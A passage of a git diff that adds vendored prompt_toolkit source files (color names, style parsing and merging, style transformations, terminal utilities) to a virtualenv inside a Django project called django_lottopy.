"#7cfc00", + "LemonChiffon": "#fffacd", + "LightBlue": "#add8e6", + "LightCoral": "#f08080", + "LightCyan": "#e0ffff", + "LightGoldenRodYellow": "#fafad2", + "LightGray": "#d3d3d3", + "LightGreen": "#90ee90", + "LightGrey": "#d3d3d3", + "LightPink": "#ffb6c1", + "LightSalmon": "#ffa07a", + "LightSeaGreen": "#20b2aa", + "LightSkyBlue": "#87cefa", + "LightSlateGray": "#778899", + "LightSlateGrey": "#778899", + "LightSteelBlue": "#b0c4de", + "LightYellow": "#ffffe0", + "Lime": "#00ff00", + "LimeGreen": "#32cd32", + "Linen": "#faf0e6", + "Magenta": "#ff00ff", + "Maroon": "#800000", + "MediumAquaMarine": "#66cdaa", + "MediumBlue": "#0000cd", + "MediumOrchid": "#ba55d3", + "MediumPurple": "#9370db", + "MediumSeaGreen": "#3cb371", + "MediumSlateBlue": "#7b68ee", + "MediumSpringGreen": "#00fa9a", + "MediumTurquoise": "#48d1cc", + "MediumVioletRed": "#c71585", + "MidnightBlue": "#191970", + "MintCream": "#f5fffa", + "MistyRose": "#ffe4e1", + "Moccasin": "#ffe4b5", + "NavajoWhite": "#ffdead", + "Navy": "#000080", + "OldLace": "#fdf5e6", + "Olive": "#808000", + "OliveDrab": "#6b8e23", + "Orange": "#ffa500", + "OrangeRed": "#ff4500", + "Orchid": "#da70d6", + "PaleGoldenRod": "#eee8aa", + "PaleGreen": "#98fb98", + "PaleTurquoise": "#afeeee", + "PaleVioletRed": "#db7093", + "PapayaWhip": "#ffefd5", + "PeachPuff": "#ffdab9", + "Peru": "#cd853f", + "Pink": "#ffc0cb", + "Plum": "#dda0dd", + "PowderBlue": "#b0e0e6", + "Purple": "#800080", + "RebeccaPurple": "#663399", + "Red": "#ff0000", + "RosyBrown": "#bc8f8f", + "RoyalBlue": "#4169e1", + "SaddleBrown": "#8b4513", + "Salmon": "#fa8072", + "SandyBrown": "#f4a460", + "SeaGreen": "#2e8b57", + "SeaShell": "#fff5ee", + "Sienna": "#a0522d", + "Silver": "#c0c0c0", + "SkyBlue": "#87ceeb", + "SlateBlue": "#6a5acd", + "SlateGray": "#708090", + "SlateGrey": "#708090", + "Snow": "#fffafa", + "SpringGreen": "#00ff7f", + "SteelBlue": "#4682b4", + "Tan": "#d2b48c", + "Teal": "#008080", + "Thistle": "#d8bfd8", + "Tomato": "#ff6347", + "Turquoise": "#40e0d0", + "Violet": "#ee82ee", + "Wheat": "#f5deb3", + "White": "#ffffff", + "WhiteSmoke": "#f5f5f5", + "Yellow": "#ffff00", + "YellowGreen": "#9acd32", +} diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/pygments.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/pygments.py new file mode 100644 index 00000000..382e5e31 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/pygments.py @@ -0,0 +1,67 @@ +""" +Adaptor for building prompt_toolkit styles, starting from a Pygments style. + +Usage:: + + from pygments.styles.tango import TangoStyle + style = style_from_pygments_cls(pygments_style_cls=TangoStyle) +""" +from typing import TYPE_CHECKING, Dict, Type + +from .style import Style + +if TYPE_CHECKING: + from pygments.style import Style as PygmentsStyle + from pygments.token import Token + + +__all__ = [ + "style_from_pygments_cls", + "style_from_pygments_dict", + "pygments_token_to_classname", +] + + +def style_from_pygments_cls(pygments_style_cls: Type["PygmentsStyle"]) -> Style: + """ + Shortcut to create a :class:`.Style` instance from a Pygments style class + and a style dictionary. + + Example:: + + from prompt_toolkit.styles.from_pygments import style_from_pygments_cls + from pygments.styles import get_style_by_name + style = style_from_pygments_cls(get_style_by_name('monokai')) + + :param pygments_style_cls: Pygments style class to start from. + """ + # Import inline. + from pygments.style import Style as PygmentsStyle + + assert issubclass(pygments_style_cls, PygmentsStyle) + + return style_from_pygments_dict(pygments_style_cls.styles) + + +def style_from_pygments_dict(pygments_dict: Dict["Token", str]) -> Style: + """ + Create a :class:`.Style` instance from a Pygments style dictionary. + (One that maps Token objects to style strings.) + """ + pygments_style = [] + + for token, style in pygments_dict.items(): + pygments_style.append((pygments_token_to_classname(token), style)) + + return Style(pygments_style) + + +def pygments_token_to_classname(token: "Token") -> str: + """ + Turn e.g. `Token.Name.Exception` into `'pygments.name.exception'`. + + (Our Pygments lexer will also turn the tokens that pygments produces in a + prompt_toolkit list of fragments that match these styling rules.) + """ + parts = ("pygments",) + token + return ".".join(parts).lower() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style.py new file mode 100644 index 00000000..6e4bd1f4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style.py @@ -0,0 +1,399 @@ +""" +Tool for creating styles from a dictionary. +""" +import itertools +import re +import sys +from enum import Enum +from typing import Dict, Hashable, List, Set, Tuple, TypeVar + +from prompt_toolkit.cache import SimpleCache + +from .base import ( + ANSI_COLOR_NAMES, + ANSI_COLOR_NAMES_ALIASES, + DEFAULT_ATTRS, + Attrs, + BaseStyle, +) +from .named_colors import NAMED_COLORS + +__all__ = [ + "Style", + "parse_color", + "Priority", + "merge_styles", +] + +_named_colors_lowercase = {k.lower(): v.lstrip("#") for k, v in NAMED_COLORS.items()} + + +def parse_color(text: str) -> str: + """ + Parse/validate color format. + + Like in Pygments, but also support the ANSI color names. + (These will map to the colors of the 16 color palette.) + """ + # ANSI color names. + if text in ANSI_COLOR_NAMES: + return text + if text in ANSI_COLOR_NAMES_ALIASES: + return ANSI_COLOR_NAMES_ALIASES[text] + + # 140 named colors. + try: + # Replace by 'hex' value. + return _named_colors_lowercase[text.lower()] + except KeyError: + pass + + # Hex codes. + if text[0:1] == "#": + col = text[1:] + + # Keep this for backwards-compatibility (Pygments does it). + # I don't like the '#' prefix for named colors. + if col in ANSI_COLOR_NAMES: + return col + elif col in ANSI_COLOR_NAMES_ALIASES: + return ANSI_COLOR_NAMES_ALIASES[col] + + # 6 digit hex color. + elif len(col) == 6: + return col + + # 3 digit hex color. + elif len(col) == 3: + return col[0] * 2 + col[1] * 2 + col[2] * 2 + + # Default. + elif text in ("", "default"): + return text + + raise ValueError("Wrong color format %r" % text) + + +# Attributes, when they are not filled in by a style. None means that we take +# the value from the parent. +_EMPTY_ATTRS = Attrs( + color=None, + bgcolor=None, + bold=None, + underline=None, + strike=None, + italic=None, + blink=None, + reverse=None, + hidden=None, +) + + +def _expand_classname(classname: str) -> List[str]: + """ + Split a single class name at the `.` operator, and build a list of classes. + + E.g. 'a.b.c' becomes ['a', 'a.b', 'a.b.c'] + """ + result = [] + parts = classname.split(".") + + for i in range(1, len(parts) + 1): + result.append(".".join(parts[:i]).lower()) + + return result + + +def _parse_style_str(style_str: str) -> Attrs: + """ + Take a style string, e.g. 'bg:red #88ff00 class:title' + and return a `Attrs` instance. + """ + # Start from default Attrs. + if "noinherit" in style_str: + attrs = DEFAULT_ATTRS + else: + attrs = _EMPTY_ATTRS + + # Now update with the given attributes. + for part in style_str.split(): + if part == "noinherit": + pass + elif part == "bold": + attrs = attrs._replace(bold=True) + elif part == "nobold": + attrs = attrs._replace(bold=False) + elif part == "italic": + attrs = attrs._replace(italic=True) + elif part == "noitalic": + attrs = attrs._replace(italic=False) + elif part == "underline": + attrs = attrs._replace(underline=True) + elif part == "nounderline": + attrs = attrs._replace(underline=False) + elif part == "strike": + attrs = attrs._replace(strike=True) + elif part == "nostrike": + attrs = attrs._replace(strike=False) + + # prompt_toolkit extensions. Not in Pygments. + elif part == "blink": + attrs = attrs._replace(blink=True) + elif part == "noblink": + attrs = attrs._replace(blink=False) + elif part == "reverse": + attrs = attrs._replace(reverse=True) + elif part == "noreverse": + attrs = attrs._replace(reverse=False) + elif part == "hidden": + attrs = attrs._replace(hidden=True) + elif part == "nohidden": + attrs = attrs._replace(hidden=False) + + # Pygments properties that we ignore. + elif part in ("roman", "sans", "mono"): + pass + elif part.startswith("border:"): + pass + + # Ignore pieces in between square brackets. This is internal stuff. + # Like '[transparent]' or '[set-cursor-position]'. + elif part.startswith("[") and part.endswith("]"): + pass + + # Colors. + elif part.startswith("bg:"): + attrs = attrs._replace(bgcolor=parse_color(part[3:])) + elif part.startswith("fg:"): # The 'fg:' prefix is optional. + attrs = attrs._replace(color=parse_color(part[3:])) + else: + attrs = attrs._replace(color=parse_color(part)) + + return attrs + + +CLASS_NAMES_RE = re.compile(r"^[a-z0-9.\s_-]*$") # This one can't contain a comma! + + +class Priority(Enum): + """ + The priority of the rules, when a style is created from a dictionary. + + In a `Style`, rules that are defined later will always override previous + defined rules, however in a dictionary, the key order was arbitrary before + Python 3.6. This means that the style could change at random between rules. + + We have two options: + + - `DICT_KEY_ORDER`: This means, iterate through the dictionary, and take + the key/value pairs in order as they come. This is a good option if you + have Python >3.6. Rules at the end will override rules at the beginning. + - `MOST_PRECISE`: keys that are defined with most precision will get higher + priority. (More precise means: more elements.) + """ + + DICT_KEY_ORDER = "KEY_ORDER" + MOST_PRECISE = "MOST_PRECISE" + + +# We don't support Python versions older than 3.6 anymore, so we can always +# depend on dictionary ordering. This is the default. +default_priority = Priority.DICT_KEY_ORDER + + +class Style(BaseStyle): + """ + Create a ``Style`` instance from a list of style rules. + + The `style_rules` is supposed to be a list of ('classnames', 'style') tuples. + The classnames are a whitespace separated string of class names and the + style string is just like a Pygments style definition, but with a few + additions: it supports 'reverse' and 'blink'. + + Later rules always override previous rules. + + Usage:: + + Style([ + ('title', '#ff0000 bold underline'), + ('something-else', 'reverse'), + ('class1 class2', 'reverse'), + ]) + + The ``from_dict`` classmethod is similar, but takes a dictionary as input. + """ + + def __init__(self, style_rules: List[Tuple[str, str]]) -> None: + class_names_and_attrs = [] + + # Loop through the rules in the order they were defined. + # Rules that are defined later get priority. + for class_names, style_str in style_rules: + assert CLASS_NAMES_RE.match(class_names), repr(class_names) + + # The order of the class names doesn't matter. + # (But the order of rules does matter.) + class_names_set = frozenset(class_names.lower().split()) + attrs = _parse_style_str(style_str) + + class_names_and_attrs.append((class_names_set, attrs)) + + self._style_rules = style_rules + self.class_names_and_attrs = class_names_and_attrs + + @property + def style_rules(self) -> List[Tuple[str, str]]: + return self._style_rules + + @classmethod + def from_dict( + cls, style_dict: Dict[str, str], priority: Priority = default_priority + ) -> "Style": + """ + :param style_dict: Style dictionary. + :param priority: `Priority` value. + """ + if priority == Priority.MOST_PRECISE: + + def key(item: Tuple[str, str]) -> int: + # Split on '.' and whitespace. Count elements. + return sum(len(i.split(".")) for i in item[0].split()) + + return cls(sorted(style_dict.items(), key=key)) + else: + return cls(list(style_dict.items())) + + def get_attrs_for_style_str( + self, style_str: str, default: Attrs = DEFAULT_ATTRS + ) -> Attrs: + """ + Get `Attrs` for the given style string. + """ + list_of_attrs = [default] + class_names: Set[str] = set() + + # Apply default styling. + for names, attr in self.class_names_and_attrs: + if not names: + list_of_attrs.append(attr) + + # Go from left to right through the style string. Things on the right + # take precedence. + for part in style_str.split(): + # This part represents a class. + # Do lookup of this class name in the style definition, as well + # as all class combinations that we have so far. + if part.startswith("class:"): + # Expand all class names (comma separated list). + new_class_names = [] + for p in part[6:].lower().split(","): + new_class_names.extend(_expand_classname(p)) + + for new_name in new_class_names: + # Build a set of all possible class combinations to be applied. + combos = set() + combos.add(frozenset([new_name])) + + for count in range(1, len(class_names) + 1): + for c2 in itertools.combinations(class_names, count): + combos.add(frozenset(c2 + (new_name,))) + + # Apply the styles that match these class names. + for names, attr in self.class_names_and_attrs: + if names in combos: + list_of_attrs.append(attr) + + class_names.add(new_name) + + # Process inline style. + else: + inline_attrs = _parse_style_str(part) + list_of_attrs.append(inline_attrs) + + return _merge_attrs(list_of_attrs) + + def invalidation_hash(self) -> Hashable: + return id(self.class_names_and_attrs) + + +_T = TypeVar("_T") + + +def _merge_attrs(list_of_attrs: List[Attrs]) -> Attrs: + """ + Take a list of :class:`.Attrs` instances and merge them into one. + Every `Attr` in the list can override the styling of the previous one. So, + the last one has highest priority. + """ + + def _or(*values: _T) -> _T: + "Take first not-None value, starting at the end." + for v in values[::-1]: + if v is not None: + return v + raise ValueError # Should not happen, there's always one non-null value. + + return Attrs( + color=_or("", *[a.color for a in list_of_attrs]), + bgcolor=_or("", *[a.bgcolor for a in list_of_attrs]), + bold=_or(False, *[a.bold for a in list_of_attrs]), + underline=_or(False, *[a.underline for a in list_of_attrs]), + strike=_or(False, *[a.strike for a in list_of_attrs]), + italic=_or(False, *[a.italic for a in list_of_attrs]), + blink=_or(False, *[a.blink for a in list_of_attrs]), + reverse=_or(False, *[a.reverse for a in list_of_attrs]), + hidden=_or(False, *[a.hidden for a in list_of_attrs]), + ) + + +def merge_styles(styles: List[BaseStyle]) -> "_MergedStyle": + """ + Merge multiple `Style` objects. + """ + styles = [s for s in styles if s is not None] + return _MergedStyle(styles) + + +class _MergedStyle(BaseStyle): + """ + Merge multiple `Style` objects into one. + This is supposed to ensure consistency: if any of the given styles changes, + then this style will be updated. + """ + + # NOTE: previously, we used an algorithm where we did not generate the + # combined style. Instead this was a proxy that called one style + # after the other, passing the outcome of the previous style as the + # default for the next one. This did not work, because that way, the + # priorities like described in the `Style` class don't work. + # 'class:aborted' was for instance never displayed in gray, because + # the next style specified a default color for any text. (The + # explicit styling of class:aborted should have taken priority, + # because it was more precise.) + def __init__(self, styles: List[BaseStyle]) -> None: + self.styles = styles + self._style: SimpleCache[Hashable, Style] = SimpleCache(maxsize=1) + + @property + def _merged_style(self) -> Style: + "The `Style` object that has the other styles merged together." + + def get() -> Style: + return Style(self.style_rules) + + return self._style.get(self.invalidation_hash(), get) + + @property + def style_rules(self) -> List[Tuple[str, str]]: + style_rules = [] + for s in self.styles: + style_rules.extend(s.style_rules) + return style_rules + + def get_attrs_for_style_str( + self, style_str: str, default: Attrs = DEFAULT_ATTRS + ) -> Attrs: + return self._merged_style.get_attrs_for_style_str(style_str, default) + + def invalidation_hash(self) -> Hashable: + return tuple(s.invalidation_hash() for s in self.styles) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style_transformation.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style_transformation.py new file mode 100644 index 00000000..91308f91 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/style_transformation.py @@ -0,0 +1,375 @@ +""" +Collection of style transformations. + +Think of it as a kind of color post processing after the rendering is done. +This could be used for instance to change the contrast/saturation; swap light +and dark colors or even change certain colors for other colors. + +When the UI is rendered, these transformations can be applied right after the +style strings are turned into `Attrs` objects that represent the actual +formatting. +""" +from abc import ABCMeta, abstractmethod +from colorsys import hls_to_rgb, rgb_to_hls +from typing import Callable, Hashable, Optional, Sequence, Tuple, Union + +from prompt_toolkit.cache import memoized +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.utils import AnyFloat, to_float, to_str + +from .base import ANSI_COLOR_NAMES, Attrs +from .style import parse_color + +__all__ = [ + "StyleTransformation", + "SwapLightAndDarkStyleTransformation", + "ReverseStyleTransformation", + "SetDefaultColorStyleTransformation", + "AdjustBrightnessStyleTransformation", + "DummyStyleTransformation", + "ConditionalStyleTransformation", + "DynamicStyleTransformation", + "merge_style_transformations", +] + + +class StyleTransformation(metaclass=ABCMeta): + """ + Base class for any style transformation. + """ + + @abstractmethod + def transform_attrs(self, attrs: Attrs) -> Attrs: + """ + Take an `Attrs` object and return a new `Attrs` object. + + Remember that the color formats can be either "ansi..." or a 6 digit + lowercase hexadecimal color (without '#' prefix). + """ + + def invalidation_hash(self) -> Hashable: + """ + When this changes, the cache should be invalidated. + """ + return f"{self.__class__.__name__}-{id(self)}" + + +class SwapLightAndDarkStyleTransformation(StyleTransformation): + """ + Turn dark colors into light colors and the other way around. + + This is meant to make color schemes that work on a dark background usable + on a light background (and the other way around). + + Notice that this doesn't swap foreground and background like "reverse" + does. It turns light green into dark green and the other way around. + Foreground and background colors are considered individually. + + Also notice that when is used somewhere and no colors are given + in particular (like what is the default for the bottom toolbar), then this + doesn't change anything. This is what makes sense, because when the + 'default' color is chosen, it's what works best for the terminal, and + reverse works good with that. + """ + + def transform_attrs(self, attrs: Attrs) -> Attrs: + """ + Return the `Attrs` used when opposite luminosity should be used. + """ + # Reverse colors. + attrs = attrs._replace(color=get_opposite_color(attrs.color)) + attrs = attrs._replace(bgcolor=get_opposite_color(attrs.bgcolor)) + + return attrs + + +class ReverseStyleTransformation(StyleTransformation): + """ + Swap the 'reverse' attribute. + + (This is still experimental.) + """ + + def transform_attrs(self, attrs: Attrs) -> Attrs: + return attrs._replace(reverse=not attrs.reverse) + + +class SetDefaultColorStyleTransformation(StyleTransformation): + """ + Set default foreground/background color for output that doesn't specify + anything. This is useful for overriding the terminal default colors. + + :param fg: Color string or callable that returns a color string for the + foreground. + :param bg: Like `fg`, but for the background. + """ + + def __init__( + self, fg: Union[str, Callable[[], str]], bg: Union[str, Callable[[], str]] + ) -> None: + + self.fg = fg + self.bg = bg + + def transform_attrs(self, attrs: Attrs) -> Attrs: + if attrs.bgcolor in ("", "default"): + attrs = attrs._replace(bgcolor=parse_color(to_str(self.bg))) + + if attrs.color in ("", "default"): + attrs = attrs._replace(color=parse_color(to_str(self.fg))) + + return attrs + + def invalidation_hash(self) -> Hashable: + return ( + "set-default-color", + to_str(self.fg), + to_str(self.bg), + ) + + +class AdjustBrightnessStyleTransformation(StyleTransformation): + """ + Adjust the brightness to improve the rendering on either dark or light + backgrounds. + + For dark backgrounds, it's best to increase `min_brightness`. For light + backgrounds it's best to decrease `max_brightness`. Usually, only one + setting is adjusted. + + This will only change the brightness for text that has a foreground color + defined, but no background color. It works best for 256 or true color + output. + + .. note:: Notice that there is no universal way to detect whether the + application is running in a light or dark terminal. As a + developer of an command line application, you'll have to make + this configurable for the user. + + :param min_brightness: Float between 0.0 and 1.0 or a callable that returns + a float. + :param max_brightness: Float between 0.0 and 1.0 or a callable that returns + a float. + """ + + def __init__( + self, min_brightness: AnyFloat = 0.0, max_brightness: AnyFloat = 1.0 + ) -> None: + + self.min_brightness = min_brightness + self.max_brightness = max_brightness + + def transform_attrs(self, attrs: Attrs) -> Attrs: + min_brightness = to_float(self.min_brightness) + max_brightness = to_float(self.max_brightness) + assert 0 <= min_brightness <= 1 + assert 0 <= max_brightness <= 1 + + # Don't do anything if the whole brightness range is acceptable. + # This also avoids turning ansi colors into RGB sequences. + if min_brightness == 0.0 and max_brightness == 1.0: + return attrs + + # If a foreground color is given without a background color. + no_background = not attrs.bgcolor or attrs.bgcolor == "default" + has_fgcolor = attrs.color and attrs.color != "ansidefault" + + if has_fgcolor and no_background: + # Calculate new RGB values. + r, g, b = self._color_to_rgb(attrs.color or "") + hue, brightness, saturation = rgb_to_hls(r, g, b) + brightness = self._interpolate_brightness( + brightness, min_brightness, max_brightness + ) + r, g, b = hls_to_rgb(hue, brightness, saturation) + new_color = f"{int(r * 255):02x}{int(g * 255):02x}{int(b * 255):02x}" + + attrs = attrs._replace(color=new_color) + + return attrs + + def _color_to_rgb(self, color: str) -> Tuple[float, float, float]: + """ + Parse `style.Attrs` color into RGB tuple. + """ + # Do RGB lookup for ANSI colors. + try: + from prompt_toolkit.output.vt100 import ANSI_COLORS_TO_RGB + + r, g, b = ANSI_COLORS_TO_RGB[color] + return r / 255.0, g / 255.0, b / 255.0 + except KeyError: + pass + + # Parse RRGGBB format. + return ( + int(color[0:2], 16) / 255.0, + int(color[2:4], 16) / 255.0, + int(color[4:6], 16) / 255.0, + ) + + # NOTE: we don't have to support named colors here. They are already + # transformed into RGB values in `style.parse_color`. + + def _interpolate_brightness( + self, value: float, min_brightness: float, max_brightness: float + ) -> float: + """ + Map the brightness to the (min_brightness..max_brightness) range. + """ + return min_brightness + (max_brightness - min_brightness) * value + + def invalidation_hash(self) -> Hashable: + return ( + "adjust-brightness", + to_float(self.min_brightness), + to_float(self.max_brightness), + ) + + +class DummyStyleTransformation(StyleTransformation): + """ + Don't transform anything at all. + """ + + def transform_attrs(self, attrs: Attrs) -> Attrs: + return attrs + + def invalidation_hash(self) -> Hashable: + # Always return the same hash for these dummy instances. + return "dummy-style-transformation" + + +class DynamicStyleTransformation(StyleTransformation): + """ + StyleTransformation class that can dynamically returns any + `StyleTransformation`. + + :param get_style_transformation: Callable that returns a + :class:`.StyleTransformation` instance. + """ + + def __init__( + self, get_style_transformation: Callable[[], Optional[StyleTransformation]] + ) -> None: + + self.get_style_transformation = get_style_transformation + + def transform_attrs(self, attrs: Attrs) -> Attrs: + style_transformation = ( + self.get_style_transformation() or DummyStyleTransformation() + ) + return style_transformation.transform_attrs(attrs) + + def invalidation_hash(self) -> Hashable: + style_transformation = ( + self.get_style_transformation() or DummyStyleTransformation() + ) + return style_transformation.invalidation_hash() + + +class ConditionalStyleTransformation(StyleTransformation): + """ + Apply the style transformation depending on a condition. + """ + + def __init__( + self, style_transformation: StyleTransformation, filter: FilterOrBool + ) -> None: + + self.style_transformation = style_transformation + self.filter = to_filter(filter) + + def transform_attrs(self, attrs: Attrs) -> Attrs: + if self.filter(): + return self.style_transformation.transform_attrs(attrs) + return attrs + + def invalidation_hash(self) -> Hashable: + return (self.filter(), self.style_transformation.invalidation_hash()) + + +class _MergedStyleTransformation(StyleTransformation): + def __init__(self, style_transformations: Sequence[StyleTransformation]) -> None: + self.style_transformations = style_transformations + + def transform_attrs(self, attrs: Attrs) -> Attrs: + for transformation in self.style_transformations: + attrs = transformation.transform_attrs(attrs) + return attrs + + def invalidation_hash(self) -> Hashable: + return tuple(t.invalidation_hash() for t in self.style_transformations) + + +def merge_style_transformations( + style_transformations: Sequence[StyleTransformation], +) -> StyleTransformation: + """ + Merge multiple transformations together. + """ + return _MergedStyleTransformation(style_transformations) + + +# Dictionary that maps ANSI color names to their opposite. This is useful for +# turning color schemes that are optimized for a black background usable for a +# white background. +OPPOSITE_ANSI_COLOR_NAMES = { + "ansidefault": "ansidefault", + "ansiblack": "ansiwhite", + "ansired": "ansibrightred", + "ansigreen": "ansibrightgreen", + "ansiyellow": "ansibrightyellow", + "ansiblue": "ansibrightblue", + "ansimagenta": "ansibrightmagenta", + "ansicyan": "ansibrightcyan", + "ansigray": "ansibrightblack", + "ansiwhite": "ansiblack", + "ansibrightred": "ansired", + "ansibrightgreen": "ansigreen", + "ansibrightyellow": "ansiyellow", + "ansibrightblue": "ansiblue", + "ansibrightmagenta": "ansimagenta", + "ansibrightcyan": "ansicyan", + "ansibrightblack": "ansigray", +} +assert set(OPPOSITE_ANSI_COLOR_NAMES.keys()) == set(ANSI_COLOR_NAMES) +assert set(OPPOSITE_ANSI_COLOR_NAMES.values()) == set(ANSI_COLOR_NAMES) + + +@memoized() +def get_opposite_color(colorname: Optional[str]) -> Optional[str]: + """ + Take a color name in either 'ansi...' format or 6 digit RGB, return the + color of opposite luminosity (same hue/saturation). + + This is used for turning color schemes that work on a light background + usable on a dark background. + """ + if colorname is None: # Because color/bgcolor can be None in `Attrs`. + return None + + # Special values. + if colorname in ("", "default"): + return colorname + + # Try ANSI color names. + try: + return OPPOSITE_ANSI_COLOR_NAMES[colorname] + except KeyError: + # Try 6 digit RGB colors. + r = int(colorname[:2], 16) / 255.0 + g = int(colorname[2:4], 16) / 255.0 + b = int(colorname[4:6], 16) / 255.0 + + h, l, s = rgb_to_hls(r, g, b) + + l = 1 - l + + r, g, b = hls_to_rgb(h, l, s) + + r = int(r * 255) + g = int(g * 255) + b = int(b * 255) + + return f"{r:02x}{g:02x}{b:02x}" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/token.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/token.py new file mode 100644 index 00000000..76fd9c46 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/token.py @@ -0,0 +1,8 @@ +""" +""" + +__all__ = [ + "ZeroWidthEscape", +] + +ZeroWidthEscape = "[ZeroWidthEscape]" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/utils.py new file mode 100644 index 00000000..4ceded34 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/utils.py @@ -0,0 +1,328 @@ +import os +import signal +import sys +import threading +from collections import deque +from typing import ( + Callable, + ContextManager, + Deque, + Dict, + Generator, + Generic, + List, + Optional, + TypeVar, + Union, +) + +from wcwidth import wcwidth + +__all__ = [ + "Event", + "DummyContext", + "get_cwidth", + "suspend_to_background_supported", + "is_conemu_ansi", + "is_windows", + "in_main_thread", + "get_bell_environment_variable", + "get_term_environment_variable", + "take_using_weights", + "to_str", + "to_int", + "AnyFloat", + "to_float", + "is_dumb_terminal", +] + +# Used to ensure sphinx autodoc does not try to import platform-specific +# stuff when documenting win32.py modules. +SPHINX_AUTODOC_RUNNING = "sphinx.ext.autodoc" in sys.modules + +_Sender = TypeVar("_Sender", covariant=True) + + +class Event(Generic[_Sender]): + """ + Simple event to which event handlers can be attached. For instance:: + + class Cls: + def __init__(self): + # Define event. The first parameter is the sender. + self.event = Event(self) + + obj = Cls() + + def handler(sender): + pass + + # Add event handler by using the += operator. + obj.event += handler + + # Fire event. + obj.event() + """ + + def __init__( + self, sender: _Sender, handler: Optional[Callable[[_Sender], None]] = None + ) -> None: + self.sender = sender + self._handlers: List[Callable[[_Sender], None]] = [] + + if handler is not None: + self += handler + + def __call__(self) -> None: + "Fire event." + for handler in self._handlers: + handler(self.sender) + + def fire(self) -> None: + "Alias for just calling the event." + self() + + def add_handler(self, handler: Callable[[_Sender], None]) -> None: + """ + Add another handler to this callback. + (Handler should be a callable that takes exactly one parameter: the + sender object.) + """ + # Add to list of event handlers. + self._handlers.append(handler) + + def remove_handler(self, handler: Callable[[_Sender], None]) -> None: + """ + Remove a handler from this callback. + """ + if handler in self._handlers: + self._handlers.remove(handler) + + def __iadd__(self, handler: Callable[[_Sender], None]) -> "Event[_Sender]": + """ + `event += handler` notation for adding a handler. + """ + self.add_handler(handler) + return self + + def __isub__(self, handler: Callable[[_Sender], None]) -> "Event[_Sender]": + """ + `event -= handler` notation for removing a handler. + """ + self.remove_handler(handler) + return self + + +class DummyContext(ContextManager[None]): + """ + (contextlib.nested is not available on Py3) + """ + + def __enter__(self) -> None: + pass + + def __exit__(self, *a: object) -> None: + pass + + +class _CharSizesCache(Dict[str, int]): + """ + Cache for wcwidth sizes. + """ + + LONG_STRING_MIN_LEN = 64 # Minimum string length for considering it long. + MAX_LONG_STRINGS = 16 # Maximum number of long strings to remember. + + def __init__(self) -> None: + super().__init__() + # Keep track of the "long" strings in this cache. + self._long_strings: Deque[str] = deque() + + def __missing__(self, string: str) -> int: + # Note: We use the `max(0, ...` because some non printable control + # characters, like e.g. Ctrl-underscore get a -1 wcwidth value. + # It can be possible that these characters end up in the input + # text. + result: int + if len(string) == 1: + result = max(0, wcwidth(string)) + else: + result = sum(self[c] for c in string) + + # Store in cache. + self[string] = result + + # Rotate long strings. + # (It's hard to tell what we can consider short...) + if len(string) > self.LONG_STRING_MIN_LEN: + long_strings = self._long_strings + long_strings.append(string) + + if len(long_strings) > self.MAX_LONG_STRINGS: + key_to_remove = long_strings.popleft() + if key_to_remove in self: + del self[key_to_remove] + + return result + + +_CHAR_SIZES_CACHE = _CharSizesCache() + + +def get_cwidth(string: str) -> int: + """ + Return width of a string. Wrapper around ``wcwidth``. + """ + return _CHAR_SIZES_CACHE[string] + + +def suspend_to_background_supported() -> bool: + """ + Returns `True` when the Python implementation supports + suspend-to-background. This is typically `False' on Windows systems. + """ + return hasattr(signal, "SIGTSTP") + + +def is_windows() -> bool: + """ + True when we are using Windows. + """ + return sys.platform == "win32" # Not 'darwin' or 'linux2' + + +def is_windows_vt100_supported() -> bool: + """ + True when we are using Windows, but VT100 escape sequences are supported. + """ + if sys.platform == "win32": + # Import needs to be inline. Windows libraries are not always available. + from prompt_toolkit.output.windows10 import is_win_vt100_enabled + + return is_win_vt100_enabled() + + return False + + +def is_conemu_ansi() -> bool: + """ + True when the ConEmu Windows console is used. + """ + return sys.platform == "win32" and os.environ.get("ConEmuANSI", "OFF") == "ON" + + +def in_main_thread() -> bool: + """ + True when the current thread is the main thread. + """ + return threading.current_thread().__class__.__name__ == "_MainThread" + + +def get_bell_environment_variable() -> bool: + """ + True if env variable is set to true (true, TRUE, TrUe, 1). + """ + value = os.environ.get("PROMPT_TOOLKIT_BELL", "true") + return value.lower() in ("1", "true") + + +def get_term_environment_variable() -> str: + "Return the $TERM environment variable." + return os.environ.get("TERM", "") + + +_T = TypeVar("_T") + + +def take_using_weights( + items: List[_T], weights: List[int] +) -> Generator[_T, None, None]: + """ + Generator that keeps yielding items from the items list, in proportion to + their weight. For instance:: + + # Getting the first 70 items from this generator should have yielded 10 + # times A, 20 times B and 40 times C, all distributed equally.. + take_using_weights(['A', 'B', 'C'], [5, 10, 20]) + + :param items: List of items to take from. + :param weights: Integers representing the weight. (Numbers have to be + integers, not floats.) + """ + assert len(items) == len(weights) + assert len(items) > 0 + + # Remove items with zero-weight. + items2 = [] + weights2 = [] + for item, w in zip(items, weights): + if w > 0: + items2.append(item) + weights2.append(w) + + items = items2 + weights = weights2 + + # Make sure that we have some items left. + if not items: + raise ValueError("Did't got any items with a positive weight.") + + # + already_taken = [0 for i in items] + item_count = len(items) + max_weight = max(weights) + + i = 0 + while True: + # Each iteration of this loop, we fill up until by (total_weight/max_weight). + adding = True + while adding: + adding = False + + for item_i, item, weight in zip(range(item_count), items, weights): + if already_taken[item_i] < i * weight / float(max_weight): + yield item + already_taken[item_i] += 1 + adding = True + + i += 1 + + +def to_str(value: Union[Callable[[], str], str]) -> str: + "Turn callable or string into string." + if 